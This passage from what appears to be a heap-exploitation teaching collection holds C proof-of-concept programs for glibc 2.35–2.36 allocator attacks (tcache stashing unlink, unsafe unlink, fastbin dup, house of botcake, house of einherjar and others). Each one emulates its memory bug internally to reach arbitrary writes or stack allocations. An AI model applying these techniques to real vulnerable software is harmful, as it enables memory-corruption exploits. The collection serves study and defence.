0x210;  // Compute &tcache->entries\n    delta = (void*)p1 - tcache_entries;\n\n    // Based on the formulas we discussed above: nb = 2*(delta+8)+16\n    nb = 2*(delta+8)+16; \n\n    printf(\"We should request and free a chunk of size 0x%lx\\n\", nb-0x10);\n    p = malloc(nb-0x10); \n\n    // Trigger tcache relative write (Write freeing pointer into p1->fd)\n    printf(\"Freeing p (%p) to trigger relative write.\\n\", p);\n    free(p);\n\n    assert(p1[0] == (unsigned long)p);\n    printf(\"p1->fd is now set to p, the chunk that we just freed.\\n\");\n\n    // tcache poisoning, fastbin corruption (<2.32 only with tcache relative write), house of lore, etc....\n}\n\n"
  },
  {
    "path": "glibc_2.35/tcache_stashing_unlink_attack.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main(){\n    unsigned long stack_var[0x10] = {0};\n    unsigned long *chunk_lis[0x10] = {0};\n    unsigned long *target;\n\n    setbuf(stdout, NULL);\n\n    printf(\"This file demonstrates the stashing unlink attack on tcache.\\n\\n\");\n    printf(\"This poc has been tested on both glibc-2.27, glibc-2.29 and glibc-2.31.\\n\\n\");\n    printf(\"This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\\n\\n\");\n    printf(\"The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\\n\\n\");\n    printf(\"This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\\n\\n\");\n\n    // stack_var emulate the fake_chunk we want to alloc to\n    printf(\"Stack_var emulates the fake chunk we want to alloc to.\\n\\n\");\n    printf(\"First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\\n\\n\");\n\n    stack_var[3] = (unsigned long)(&stack_var[2]);\n\n    printf(\"You can see the value of fake_chunk->bk is:%p\\n\\n\",(void*)stack_var[3]);\n    printf(\"Also, let's see the initial value of stack_var[4]:%p\\n\\n\",(void*)stack_var[4]);\n    printf(\"Now we alloc 9 chunks with malloc.\\n\\n\");\n\n    //now we malloc 9 chunks\n    for(int i = 0;i < 9;i++){\n        chunk_lis[i] = (unsigned long*)malloc(0x90);\n    }\n\n    //put 7 chunks into tcache\n    printf(\"Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\\n\\n\");\n\n    for(int i = 3;i < 9;i++){\n        free(chunk_lis[i]);\n    }\n\n    printf(\"As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\\n\\n\");\n\n    //last tcache bin\n    free(chunk_lis[1]);\n    //now they are put into unsorted bin\n    free(chunk_lis[0]);\n    free(chunk_lis[2]);\n\n    //convert into small bin\n    printf(\"Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\\n\\n\");\n\n    malloc(0xa0);// size > 0x90\n\n    //now 5 tcache bins\n    printf(\"Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\\n\\n\");\n\n    malloc(0x90);\n    malloc(0x90);\n\n    printf(\"Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\\n\\n\",(void*)stack_var);\n\n    //change victim->bck\n    /*VULNERABILITY*/\n    chunk_lis[2][1] = (unsigned long)stack_var;\n    /*VULNERABILITY*/\n\n    //trigger the attack\n    printf(\"Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\\n\\n\");\n\n    calloc(1,0x90);\n\n    printf(\"Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\\n\\n\",(void*)stack_var[2],(void*)stack_var[4]);\n\n    //malloc and return our fake chunk on stack\n    target = malloc(0x90);   \n\n    printf(\"As you can see, next malloc(0x90) will return the region our fake chunk: %p\\n\",(void*)target);\n\n    assert(target == &stack_var[2]);\n    return 0;\n}\n"
  },
  {
    "path": "glibc_2.35/unsafe_unlink.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nuint64_t *chunk0_ptr;\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\tprintf(\"Welcome to unsafe unlink 2.0!\\n\");\n\tprintf(\"Tested in Ubuntu 20.04 64bit.\\n\");\n\tprintf(\"This technique can be used when you have a pointer at a known location to a region you can call unlink on.\\n\");\n\tprintf(\"The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\\n\");\n\n\tint malloc_size = 0x420; //we want to be big enough not to use tcache or fastbin\n\tint header_size = 2;\n\n\tprintf(\"The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\\n\\n\");\n\n\tchunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0\n\tuint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1\n\tprintf(\"The global chunk0_ptr is at %p, pointing to %p\\n\", &chunk0_ptr, chunk0_ptr);\n\tprintf(\"The victim chunk we are going to corrupt is at %p\\n\\n\", chunk1_ptr);\n\n\tprintf(\"We create a fake chunk inside chunk0.\\n\");\n\tprintf(\"We setup the size of our fake chunk so that we can bypass the check introduced in https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d6db68e66dff25d12c3bc5641b60cbd7fb6ab44f\\n\");\n\tchunk0_ptr[1] = chunk0_ptr[-1] - 0x10;\n\tprintf(\"We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\\n\");\n\tchunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);\n\tprintf(\"We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\\n\");\n\tprintf(\"With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\\n\");\n\tchunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);\n\tprintf(\"Fake chunk fd: %p\\n\",(void*) chunk0_ptr[2]);\n\tprintf(\"Fake chunk bk: %p\\n\\n\",(void*) chunk0_ptr[3]);\n\n\tprintf(\"We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\\n\");\n\tuint64_t *chunk1_hdr = chunk1_ptr - header_size;\n\tprintf(\"We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\\n\");\n\tprintf(\"It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\\n\");\n\tchunk1_hdr[0] = malloc_size;\n\tprintf(\"If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x430, however this is its new value: %p\\n\",(void*)chunk1_hdr[0]);\n\tprintf(\"We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\\n\\n\");\n\tchunk1_hdr[1] &= ~1;\n\n\tprintf(\"Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\\n\");\n\tprintf(\"You can find the source of the unlink_chunk function at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=1ecba1fafc160ca70f81211b23f688df8676e612\\n\\n\");\n\tfree(chunk1_ptr);\n\n\tprintf(\"At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\\n\");\n\tchar victim_string[8];\n\tstrcpy(victim_string,\"Hello!~\");\n\tchunk0_ptr[3] = (uint64_t) victim_string;\n\n\tprintf(\"chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\\n\");\n\tprintf(\"Original value: %s\\n\",victim_string);\n\tchunk0_ptr[0] = 0x4141414142424242LL;\n\tprintf(\"New Value: %s\\n\",victim_string);\n\n\t// sanity check\n\tassert(*(long *)victim_string == 0x4141414142424242L);\n}\n\n"
  },
  {
    "path": "glibc_2.36/decrypt_safe_linking.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nlong decrypt(long cipher)\n{\n\tputs(\"The decryption uses the fact that the first 12bit of the plaintext (the fwd pointer) is known,\");\n\tputs(\"because of the 12bit sliding.\");\n\tputs(\"And the key, the ASLR value, is the same with the leading bits of the plaintext (the fwd pointer)\");\n\tlong key = 0;\n\tlong plain;\n\n\tfor(int i=1; i<6; i++) {\n\t\tint bits = 64-12*i;\n\t\tif(bits < 0) bits = 0;\n\t\tplain = ((cipher ^ key) >> bits) << bits;\n\t\tkey = plain >> 12;\n\t\tprintf(\"round %d:\\n\", i);\n\t\tprintf(\"key:    %#016lx\\n\", key);\n\t\tprintf(\"plain:  %#016lx\\n\", plain);\n\t\tprintf(\"cipher: %#016lx\\n\\n\", cipher);\n\t}\n\treturn plain;\n}\n\nint main()\n{\n\t/*\n\t * This technique demonstrates how to recover the original content from a poisoned\n\t * value because of the safe-linking mechanism.\n\t * The attack uses the fact that the first 12 bit of the plaintext (pointer) is known\n\t * and the key (ASLR slide) is the same to the pointer's leading bits.\n\t * As a result, as long as the chunk where the pointer is stored is at the same page\n\t * of the pointer itself, the value of the pointer can be fully recovered.\n\t * Otherwise, we can also recover the pointer with the page-offset between the storer\n\t * and the pointer. What we demonstrate here is a special case whose page-offset is 0. \n\t * For demonstrations of other more general cases, plz refer to \n\t * https://github.com/n132/Dec-Safe-Linking\n\t */\n\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\t// step 1: allocate chunks\n\tlong *a = malloc(0x20);\n\tlong *b = malloc(0x20);\n\tprintf(\"First, we create chunk a @ %p and chunk b @ %p\\n\", a, b);\n\tmalloc(0x10);\n\tputs(\"And then create a padding chunk to prevent consolidation.\");\n\n\n\t// step 2: free chunks\n\tputs(\"Now free chunk a and then free chunk b.\");\n\tfree(a);\n\tfree(b);\n\tprintf(\"Now the freelist is: [%p -> %p]\\n\", b, a);\n\tprintf(\"Due to safe-linking, the value actually stored at b[0] is: %#lx\\n\", b[0]);\n\n\t// step 3: recover the values\n\tputs(\"Now decrypt the poisoned value\");\n\tlong plaintext = decrypt(b[0]);\n\n\tprintf(\"value: %p\\n\", a);\n\tprintf(\"recovered value: %#lx\\n\", plaintext);\n\tassert(plaintext == (long)a);\n}\n"
  },
  {
    "path": "glibc_2.36/fastbin_dup.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demonstrates a simple double-free attack with fastbins.\\n\");\n\n\tprintf(\"Fill up tcache first.\\n\");\n\tvoid *ptrs[8];\n\tfor (int i=0; i<8; i++) {\n\t\tptrs[i] = malloc(8);\n\t}\n\tfor (int i=0; i<7; i++) {\n\t\tfree(ptrs[i]);\n\t}\n\n\tprintf(\"Allocating 3 buffers.\\n\");\n\tint *a = calloc(1, 8);\n\tint *b = calloc(1, 8);\n\tint *c = calloc(1, 8);\n\n\tprintf(\"1st calloc(1, 8): %p\\n\", a);\n\tprintf(\"2nd calloc(1, 8): %p\\n\", b);\n\tprintf(\"3rd calloc(1, 8): %p\\n\", c);\n\n\tprintf(\"Freeing the first one...\\n\");\n\tfree(a);\n\n\tprintf(\"If we free %p again, things will crash because %p is at the top of the free list.\\n\", a, a);\n\t// free(a);\n\n\tprintf(\"So, instead, we'll free %p.\\n\", b);\n\tfree(b);\n\n\tprintf(\"Now, we can free %p again, since it's not the head of the free list.\\n\", a);\n\tfree(a);\n\n\tprintf(\"Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\\n\", a, b, a, a);\n\ta = calloc(1, 8);\n\tb = calloc(1, 8);\n\tc = calloc(1, 8);\n\tprintf(\"1st calloc(1, 8): %p\\n\", a);\n\tprintf(\"2nd calloc(1, 8): %p\\n\", b);\n\tprintf(\"3rd calloc(1, 8): %p\\n\", c);\n\n\tassert(a == c);\n}\n"
  },
  {
    "path": "glibc_2.36/fastbin_dup_consolidate.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\n/*\nOriginal reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8\n\nThis document is mostly used to demonstrate malloc_consolidate and how it can be leveraged with a\ndouble free to gain two pointers to the same large-sized chunk, which is usually difficult to do \ndirectly due to the previnuse check. Interestingly this also includes tcache-sized chunks of certain sizes.\n\nmalloc_consolidate(https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4714) essentially\nmerges all fastbin chunks with their neighbors, puts them in the unsorted bin and merges them with top\nif possible.\n\nAs of glibc version 2.35 it is called only in the following five places:\n1. _int_malloc: A large sized chunk is being allocated (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3965)\n2. _int_malloc: No bins were found for a chunk and top is too small (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4394)\n3. _int_free: If the chunk size is >= FASTBIN_CONSOLIDATION_THRESHOLD (65536) (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4674)\n4. mtrim: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5041)\n5. __libc_mallopt: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5463)\n\nWe will be targeting the first place, so we will need to allocate a chunk that does not belong in the \nsmall bin (since we are trying to get into the 'else' branch of this check: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901). \nThis means our chunk will need to be of size >= 0x400 (it is thus large-sized). Notably, the \nbiggest tcache sized chunk is 0x410, so if our chunk is in the [0x400, 0x410] range we can utilize \na double free to gain control of a tcache sized chunk.   \n*/\n\n#define CHUNK_SIZE 0x400\n\nint main() {\n\tprintf(\"This technique will make use of malloc_consolidate and a double free to gain a duplication in the tcache.\\n\");\n\tprintf(\"Lets prepare to fill up the tcache in order to force fastbin usage...\\n\\n\");\n\n\tvoid *ptr[7];\n\n\tfor(int i = 0; i < 7; i++)\n\t\tptr[i] = malloc(0x40);\n\n\tvoid* p1 = malloc(0x40);\n\tprintf(\"Allocate another chunk of the same size p1=%p \\n\", p1);\n\n\tprintf(\"Fill up the tcache...\\n\");\n\tfor(int i = 0; i < 7; i++)\n\t\tfree(ptr[i]);\n\n  \tprintf(\"Now freeing p1 will add it to the fastbin.\\n\\n\");\n  \tfree(p1);\n\n\tprintf(\"To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\\n\");\n\tprintf(\"which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\\n\");\n\tprintf(\"a tcache-sized chunk with chunk size 0x410 \");\n  \tvoid* p2 = malloc(CHUNK_SIZE);\n\n\tprintf(\"p2=%p.\\n\", p2);\n\n\tprintf(\"\\nFirst, malloc_consolidate will merge the fast chunk p1 with top.\\n\");\n\tprintf(\"Then, p2 is allocated from top since there is no free chunk bigger (or equal) than it. Thus, p1 = p2.\\n\");\n\n\tassert(p1 == p2);\n\n  \tprintf(\"We will double free p1, which now points to the 0x410 chunk we just allocated (p2).\\n\\n\");\n\tfree(p1); // vulnerability (double free)\n\tprintf(\"It is now in the tcache (or merged with top if we had initially chosen a chunk size > 0x410).\\n\");\n\n\tprintf(\"So p1 is double freed, and p2 hasn't been freed although it now points to a free chunk.\\n\");\n\n\tprintf(\"We will request 0x400 bytes. This will give us the 0x410 chunk that's currently in\\n\");\n\tprintf(\"the tcache bin. p2 and p1 will still be pointing to it.\\n\");\n\tvoid *p3 = malloc(CHUNK_SIZE);\n\n\tassert(p3 == p2);\n\n\tprintf(\"We now have two pointers (p2 and p3) that haven't been directly freed\\n\");\n\tprintf(\"and both point to the same tcache sized chunk. p2=%p p3=%p\\n\", p2, p3);\n\tprintf(\"We have achieved duplication!\\n\\n\");\n\n\tprintf(\"Note: This duplication would have also worked with a larger chunk size, the chunks would\\n\");\n\tprintf(\"have behaved the same, just being taken from the top instead of from the tcache bin.\\n\");\n\tprintf(\"This is pretty cool because it is usually difficult to duplicate large sized chunks\\n\");\n\tprintf(\"because they are resistant to direct double free's due to their PREV_INUSE check.\\n\");\n\n\treturn 0;\n}\n"
  },
  {
    "path": "glibc_2.36/fastbin_dup_into_stack.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tfprintf(stderr, \"This file extends on fastbin_dup.c by tricking calloc into\\n\"\n\t       \"returning a pointer to a controlled location (in this case, the stack).\\n\");\n\n\n\tfprintf(stderr,\"Fill up tcache first.\\n\");\n\n\tvoid *ptrs[7];\n\n\tfor (int i=0; i<7; i++) {\n\t\tptrs[i] = malloc(8);\n\t}\n\tfor (int i=0; i<7; i++) {\n\t\tfree(ptrs[i]);\n\t}\n\n\n\tunsigned long stack_var[4] __attribute__ ((aligned (0x10)));\n\n\tfprintf(stderr, \"The address we want calloc() to return is %p.\\n\", stack_var + 2);\n\n\tfprintf(stderr, \"Allocating 3 buffers.\\n\");\n\tint *a = calloc(1,8);\n\tint *b = calloc(1,8);\n\tint *c = calloc(1,8);\n\n\tfprintf(stderr, \"1st calloc(1,8): %p\\n\", a);\n\tfprintf(stderr, \"2nd calloc(1,8): %p\\n\", b);\n\tfprintf(stderr, \"3rd calloc(1,8): %p\\n\", c);\n\n\tfprintf(stderr, \"Freeing the first one...\\n\"); //First call to free will add a reference to the fastbin\n\tfree(a);\n\n\tfprintf(stderr, \"If we free %p again, things will crash because %p is at the top of the free list.\\n\", a, a);\n\n\tfprintf(stderr, \"So, instead, we'll free %p.\\n\", b);\n\tfree(b);\n\n\t//Calling free(a) twice renders the program vulnerable to Double Free\n\n\tfprintf(stderr, \"Now, we can free %p again, since it's not the head of the free list.\\n\", a);\n\tfree(a);\n\n\tfprintf(stderr, \"Now the free list has [ %p, %p, %p ]. \"\n\t\t\"We'll now carry out our attack by modifying data at %p.\\n\", a, b, a, a);\n\tunsigned long *d = calloc(1,8);\n\n\tfprintf(stderr, \"1st calloc(1,8): %p\\n\", d);\n\tfprintf(stderr, \"2nd calloc(1,8): %p\\n\", calloc(1,8));\n\tfprintf(stderr, \"Now the free list has [ %p ].\\n\", a);\n\tfprintf(stderr, \"Now, we have access to %p while it remains at the head of the free list.\\n\"\n\t\t\"so now we are writing a fake free size (in this case, 0x20) to the stack,\\n\"\n\t\t\"so that calloc will think there is a free chunk there and agree to\\n\"\n\t\t\"return a pointer to it.\\n\", a);\n\tstack_var[1] = 0x20;\n\n\tfprintf(stderr, \"Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\\n\", a);\n\tfprintf(stderr, \"Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\\n\");\n\tfprintf(stderr, \"^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\\n\");\n\tunsigned long ptr = (unsigned long)stack_var;\n\tunsigned long addr = (unsigned long) d;\n\t/*VULNERABILITY*/\n\t*d = (addr >> 12) ^ ptr;\n\t/*VULNERABILITY*/\n\n\tfprintf(stderr, \"3rd calloc(1,8): %p, putting the stack address on the free list\\n\", calloc(1,8));\n\n\tvoid *p = calloc(1,8);\n\n\tfprintf(stderr, \"4th calloc(1,8): %p\\n\", p);\n\tassert((unsigned long)p == (unsigned long)stack_var + 0x10);\n}\n"
  },
  {
    "path": "glibc_2.36/fastbin_reverse_into_tcache.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\nconst size_t allocsize = 0x40;\n\nint main(){\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"\\n\"\n\t\t   \"This attack is intended to have a similar effect to the unsorted_bin_attack,\\n\"\n\t\t   \"except it works with a small allocation size (allocsize <= 0x78).\\n\"\n\t\t   \"The goal is to set things up so that a call to malloc(allocsize) will write\\n\"\n\t\t   \"a large unsigned value to the stack.\\n\\n\");\n\tprintf(\"After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\\n\"\n\t\t   \"An heap address leak is needed to perform this attack.\\n\"\n\t\t   \"The same patch also ensures the chunk returned by tcache is properly aligned.\\n\\n\");\n\n\t// Allocate 14 times so that we can free later.\n\tchar* ptrs[14];\n\tsize_t i;\n\tfor (i = 0; i < 14; i++) {\n\t\tptrs[i] = malloc(allocsize);\n\t}\n\t\n\tprintf(\"First we need to free(allocsize) at least 7 times to fill the tcache.\\n\"\n\t  \t   \"(More than 7 times works fine too.)\\n\\n\");\n\t\n\t// Fill the tcache.\n\tfor (i = 0; i < 7; i++) free(ptrs[i]);\n\t\n\tchar* victim = ptrs[7];\n\tprintf(\"The next pointer that we free is the chunk that we're going to corrupt: %p\\n\"\n\t\t   \"It doesn't matter if we corrupt it now or later. Because the tcache is\\n\"\n\t\t   \"already full, it will go in the fastbin.\\n\\n\", victim);\n\tfree(victim);\n\t\n\tprintf(\"Next we need to free between 1 and 6 more pointers. These will also go\\n\"\n\t\t   \"in the fastbin. If we don't control the data on the stack,\\n\"\n\t\t   \"then we need to free exactly 6 more pointers, otherwise the attack will\\n\"\n\t\t   \"cause a segmentation fault when traversing the linked list.\\n\"\n\t\t   \"But if we control at least 8-byte on the stack, we know where the stack is,\\n\"\n\t\t   \"and we want to control more data on the stack, a single free is sufficient\\n\"\n\t\t   \"by forging a mangled NULL on the stack to terminate list traversal.\\n\\n\");\n\t\n\t// Fill the fastbin.\n\tfor (i = 8; i < 14; i++) free(ptrs[i]);\n\t\n\t// Create an array on the stack and initialize it with garbage.\n\tsize_t stack_var[6];\n\tmemset(stack_var, 0xcd, sizeof(stack_var));\n\t\n\tprintf(\"The stack address that we intend to target: %p\\n\"\n\t\t   \"It's current value is %p\\n\", &stack_var[2], (char*)stack_var[2]);\n\t\n\tprintf(\"Now we use a vulnerability such as a buffer overflow or a use-after-free\\n\"\n\t\t\t\"to overwrite the next pointer at address %p\\n\\n\", victim);\n\t\n\t//------------VULNERABILITY-----------\n\t\n\t// Overwrite linked list pointer in victim.\n\t// The following operation assumes the address of victim is known, thus requiring\n\t// a heap leak.\n\t*(size_t**)victim = (size_t*)((long)&stack_var[0] ^ ((long)victim >> 12));\n\t\n\t//------------------------------------\n\t\n\tprintf(\"The next step is to malloc(allocsize) 7 times to empty the tcache.\\n\\n\");\n\t\n\t// Empty tcache.\n\tfor (i = 0; i < 7; i++) ptrs[i] = malloc(allocsize);\n\t\n\tprintf(\"Let's just print the contents of our array on the stack now,\\n\"\n\t\t\t\"to show that it hasn't been modified yet.\\n\\n\");\n\t\n\tfor (i = 0; i < 6; i++) printf(\"%p: %p\\n\", &stack_var[i], (char*)stack_var[i]);\n\t\n\tprintf(\"\\n\"\n\t\t   \"The next allocation triggers the stack to be overwritten. The tcache\\n\"\n\t\t   \"is empty, but the fastbin isn't, so the next allocation comes from the\\n\"\n\t\t   \"fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.\\n\"\n\t\t   \"Those 7 chunks are copied in reverse order into the tcache, so the stack\\n\"\n\t\t   \"address that we are targeting ends up being the first chunk in the tcache.\\n\"\n\t\t   \"It contains a pointer to the next chunk in the list, which is why a heap\\n\"\n\t\t   \"pointer is written to the stack.\\n\"\n\t\t   \"\\n\"\n\t\t   \"Earlier we said that the attack will also work if we free fewer than 6\\n\"\n\t\t   \"extra pointers to the fastbin, but only if the value on the stack is zero.\\n\"\n\t\t   \"That's because the value on the stack is treated as a next pointer in the\\n\"\n\t\t   \"linked list and it will trigger a crash if it isn't a valid pointer or null.\\n\"\n\t\t   \"\\n\"\n\t\t   \"The contents of our array on the stack now look like this:\\n\\n\");\n\t\n\tmalloc(allocsize);\n\t\n\tfor (i = 0; i < 6; i++) printf(\"%p: %p\\n\", &stack_var[i], (char*)stack_var[i]);\n\t\n\tchar *q = malloc(allocsize);\n\tprintf(\"\\n\"\n\t\t\t\"Finally, if we malloc one more time then we get the stack address back: %p\\n\", q);\n\t\n\tassert(q == (char *)&stack_var[2]);\n\t\n\treturn 0;\n}\n"
  },
  {
    "path": "glibc_2.36/house_of_botcake.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <string.h>\n#include <unistd.h>\n#include <assert.h>\n\n\nint main()\n{\n    /*\n     * This attack should bypass the restriction introduced in\n     * https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d\n     * If the libc does not include the restriction, you can simply double free the victim and do a\n     * simple tcache poisoning\n     * And thanks to @anton00b and @subwire for the weird name of this technique */\n\n    // disable buffering so _IO_FILE does not interfere with our heap\n    setbuf(stdin, NULL);\n    setbuf(stdout, NULL);\n\n    // introduction\n    puts(\"This file demonstrates a powerful tcache poisoning attack by tricking malloc into\");\n    puts(\"returning a pointer to an arbitrary location (in this demo, the stack).\");\n    puts(\"This attack only relies on double free.\\n\");\n\n    // prepare the target\n    intptr_t stack_var[4];\n    puts(\"The address we want malloc() to return, namely,\");\n    printf(\"the target address is %p.\\n\\n\", stack_var);\n\n    // prepare heap layout\n    puts(\"Preparing heap layout\");\n    puts(\"Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.\");\n    intptr_t *x[7];\n    for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){\n        x[i] = malloc(0x100);\n    }\n    intptr_t *prev = malloc(0x100);\n    printf(\"Allocating a chunk for later consolidation: prev @ %p\\n\", prev);\n    intptr_t *a = malloc(0x100);\n    printf(\"Allocating the victim chunk: a @ %p\\n\", a);\n    puts(\"Allocating a padding to prevent consolidation.\\n\");\n    malloc(0x10);\n\n    // cause chunk overlapping\n    puts(\"Now we are able to cause chunk overlapping\");\n    puts(\"Step 1: fill up tcache list\");\n    for(int i=0; i<7; i++){\n        free(x[i]);\n    }\n    puts(\"Step 2: free the victim chunk so it will be added to unsorted bin\");\n    free(a);\n\n    puts(\"Step 3: free the previous chunk and make it consolidate with the victim chunk.\");\n    free(prev);\n\n    puts(\"Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\\n\");\n    malloc(0x100);\n    /*VULNERABILITY*/\n    free(a);// a is already freed\n    /*VULNERABILITY*/\n\n    puts(\"Now we have the chunk overlapping primitive:\");\n    puts(\"This primitive will allow directly reading/writing objects, heap metadata, etc.\\n\");\n    puts(\"Below will use the chunk overlapping primitive to perform a tcache poisoning attack.\");\n\n    puts(\"Get the overlapping chunk from the unsorted bin.\");\n    intptr_t *unsorted = malloc(0x100 + 0x100 + 0x10);\n    puts(\"Use the overlapping chunk to control victim->next pointer.\");\n    // mangle the pointer since glibc 2.32\n    unsorted[0x110/sizeof(intptr_t)] = ((long)a >> 12) ^ (long)stack_var;\n\n    puts(\"Get back victim chunk from tcache. This will put target to tcache top.\");\n    a = malloc(0x100);\n    int a_size = a[-1] & 0xff0;\n    printf(\"victim @ %p, size: %#x, end @ %p\\n\", a, a_size, (void *)a+a_size);\n\n    puts(\"Get the target chunk from tcache.\");\n    intptr_t *target = malloc(0x100);\n    target[0] = 0xcafebabe;\n\n    printf(\"target @ %p == stack_var @ %p\\n\", target, stack_var);\n    assert(stack_var[0] == 0xcafebabe);\n    return 0;\n}\n"
  },
  {
    "path": "glibc_2.36/house_of_einherjar.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <malloc.h>\n#include <assert.h>\n\nint main()\n{\n\t/*\n\t * This modification to The House of Enherjar, made by Huascar Tejeda - @htejeda, works with the tcache-option enabled on glibc-2.32.\n\t * The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc().\n\t * It has the additional requirement of a heap leak.\n\t * \n\t * After filling the tcache list to bypass the restriction of consolidating with a fake chunk,\n\t * we target the unsorted bin (instead of the small bin) by creating the fake chunk in the heap.\n\t * The following restriction for normal bins won't allow us to create chunks bigger than the memory\n\t * allocated from the system in this arena:\n\t *\n\t * https://sourceware.org/git/?p=glibc.git;a=commit;f=malloc/malloc.c;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c */\n\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"Welcome to House of Einherjar 2!\\n\");\n\tprintf(\"Tested on Ubuntu 20.10 64bit (glibc-2.32).\\n\");\n\tprintf(\"This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\\n\");\n\n\tprintf(\"This file demonstrates the house of einherjar attack by creating a chunk overlapping situation.\\n\");\n\tprintf(\"Next, we use tcache poisoning to hijack control flow.\\n\"\n\t\t   \"Because of https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\"\n\t\t   \"now tcache poisoning requires a heap leak.\\n\");\n\n\t// prepare the target,\n\t// due to https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\n\t// it must be properly aligned.\n\tintptr_t stack_var[0x10];\n\tintptr_t *target = NULL;\n\n\t// choose a properly aligned target address\n\tfor(int i=0; i<0x10; i++) {\n\t\tif(((long)&stack_var[i] & 0xf) == 0) {\n\t\t\ttarget = &stack_var[i];\n\t\t\tbreak;\n\t\t}\n\t}\n\tassert(target != NULL);\n\tprintf(\"\\nThe address we want malloc() to return is %p.\\n\", (char *)target);\n\n\tprintf(\"\\nWe allocate 0x38 bytes for 'a' and use it to create a fake chunk\\n\");\n\tintptr_t *a = malloc(0x38);\n\n\t// create a fake chunk\n\tprintf(\"\\nWe create a fake chunk preferably before the chunk(s) we want to overlap, and we must know its address.\\n\");\n\tprintf(\"We set our fwd and bck pointers to point at the fake_chunk in order to pass the 